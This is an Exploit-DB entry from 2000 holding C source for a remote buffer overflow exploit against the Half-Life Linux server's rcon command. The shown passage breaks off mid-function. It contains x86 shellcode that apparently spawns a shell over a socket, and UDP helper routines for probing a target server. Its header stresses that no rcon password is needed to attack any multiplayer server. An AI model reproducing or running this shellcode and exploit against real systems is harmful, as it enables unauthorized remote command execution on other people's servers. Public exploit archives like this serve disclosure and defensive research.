Exploit-DB #181
Description: Half Life - 'rcon' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2000-11-16
Author: Sao Paulo

Exploit:
/*
 *  SDI HalfLife rcon remote exploit for linux x86
 *  (portuguese) exploit remoto para o buffer overflow do rcon no halflife
 *  
 *  Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
 *  by Thiago Zaninotti (c0nd0r) <condor@sekure.org>
 *     Gustavo Scotti   (csh)    <csh@sekure.org>
 *  
 *  Proof of concept - There is a remote exploitable buffer overflow
 *  in Half Life server (3.1.0.x) for linux (HLDS). The problem is 
 *  related to the RCON command (Remote CONsole).
 *  (port.) Existe um buffer overflow exploitavel no Half Life Server
 *  (HLDS) relacionado ao comando RCON.
 *  
 *  After several tests, we found out the 'rcon' command is also vulnerable
 *  to a format string attack which can also lead to a remote exploit.
 *  (port) O comando RCON tambem e' vulneravel a um format string attack.
 *  
 *  YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY, 
 *  which means any multiplayer server is vulnerable to the attack.
 *  (port) Voce nao precisa de password para explorar esta vulnerabilidade,
 *    o que significa que qualquer servidor e' vulneravel.
 *  
 *  Agradecimentos: Tamandua Sekure Labs, Fabio Ramos (framos@axur.org), 
 *  Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
 *  Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e 
 *  Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
 *  
 *  Respects: c_orb, el8.org (specially duke), meta, guys at core sdi, 
 *  the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez, 
 *  ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
 *  sekure.org: vader, jamez, falcon and staff.
 *  
 *  also thanks to botman (botman@mailandnews.com).
 *  Visit the brazilian security portal: http://www.securenet.com.br
 */

#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>

typedef unsigned long	u32;
typedef unsigned short	u16;
typedef unsigned char	u8;

unsigned char shellcode[]=
  "\xeb\x03\x5e\xeb\x1d\xe8\xf8\xff\xff\xff scotti@axur.org"
  "\x2f\x62\x69\x6e\x2f"
  "\x73\x68\x40\x31\xc0\x66\x40\x66\x40\x66\x89\x06\x31\xc9\xb1\x08"
  "\x89\xf7\x83\xc7\x08\x30\xc0\x88\x07\x47\x49\x75\xfa\x31\xc0\x89"
  "\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
  "\x31\xc0\x83\xc0\x66\xcd\x80\x89\xc7\x89\x46\x20\x8d\x06\x89\x46"
  "\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x8d\x4e\x20\x31\xdb\x43\x43"
  "\x43\x31\xc0\x83\xc0\x66\x57\xcd\x80\x5f\x31\xc0\x83\xc0\x3f\x89"
  "\xfb\x31\xc9\xcd\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\xcd"
  "\x80\x31\xc0\x83\xc0\x3f\x31\xdb\x31\xc9\x41\x41\xcd\x80\x89\xf0"
  "\x83\xc0\x18\x89\x46\x18\x31\xc0\x88\x46\x17\x89\x46\x1c\xb0\x0b"
  "\x8d\x4e\x18\x8d\x56\x1c\x89\xf3\x83\xc3\x10\xcd\x80\x31\xc0\x40"
  "\xcd\x80";

/* NET functions */
int
udp_read( int sock, u32 *daddr, u16 *port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        int i,n;
        i = sizeof(server);
        n=recvfrom( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, &i);
        *daddr = ntohl(server.sin_addr.s_addr);
        *port = ntohs(server.sin_port);
        return n;
}

int
udp_send( int sock, u32 daddr, u16 port, void *ptr, u16 ptr_size)
{
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons( port);
        server.sin_addr.s_addr = htonl( daddr);
        return sendto( sock, ptr, ptr_size, 0, (struct sockaddr *)&server, sizeof(server));
}

int
udp_connect( u32 addr, u16 port)
{
        struct sockaddr_in client;
        int new_fd;

        new_fd = socket( AF_INET, SOCK_DGRAM, 0);
        if (new_fd<0)
           return new_fd;

        bzero( (char *) &client, sizeof( client));
        client.sin_family = AF_INET;
        client.sin_addr.s_addr = htonl( addr);
        client.sin_port = htons( port);
        if (connect( new_fd, (struct sockaddr *)&client, sizeof(client))<0)
           return -1; /* cant bind local address */

        return new_fd;
}

u32 dns2ip( u8 *host)
{
        struct hostent *dns;
        u32     saddr;
        dns = gethostbyname( host);
        if (!dns)
           return 0xffffffff;
        bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
        return ntohl(saddr);
}

int
async_read( int sock_r, int rettime)
{
   fd_set           fd_r;
   struct timeval   tv;
   char             try_ch[4]="/-\\|";

   int r,j;

   for (r=0;r<rettime;r++)
       {
       for (j=0;j<20;)
           {
           int i;

           printf("\b%c", try_ch[(j%4)]);
           fflush(stdout);

           FD_ZERO( &fd_r);
           FD_SET( sock_r, &fd_r);

	   tv.tv_sec  = 0;
	   tv.tv_usec = 50000;
           
	   i =select( sock_r + 1, &fd_r, NULL, NULL, &tv);
           if (!i) { j++; continue; }
           if (i>0)
	      if (FD_ISSET(sock_r, &fd_r)) return sock_r;
           else
              return -1;
           }
       }
   return -1;
}

int
get_server_info( int sock, u32 addr, u16 port)
{
   u32 r_addr;
   u16 r_port;
   int n, i;
   u8  pkt[256], *str;

   pkt[0] = pkt[1] = pkt[2] = pkt[3] = 0xff;
   sprintf(&pkt[4], "details");

   n = udp_send(sock, addr, port, pkt, strlen(pkt));
   printf(".  connecting to the server...  "); fflush(stdout);
   if (async_read(sock, 6)<0)
       goto server_down;
   n = udp_read(sock, &addr, &port, pkt, sizeof(pkt));
   if (n<0)
	{
server_down:
	printf("\bserver down!\r*\n");
	exit(0);
	}
   printf("\bdone\n");
   str = &pkt[4]; 
   str+=strlen(str)+1;
   printf("\t server_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\t    map_name  [%s]\n", str); str+=strlen(str)+1;
   str+=strlen(str)+1;

   printf("\t   game_name  [%s]\n", str); str+=strlen(str)+1;
   printf("\tusers_online  [%d of %d]\n", str[0], str[1]); str+=3;
   printf("\t   remote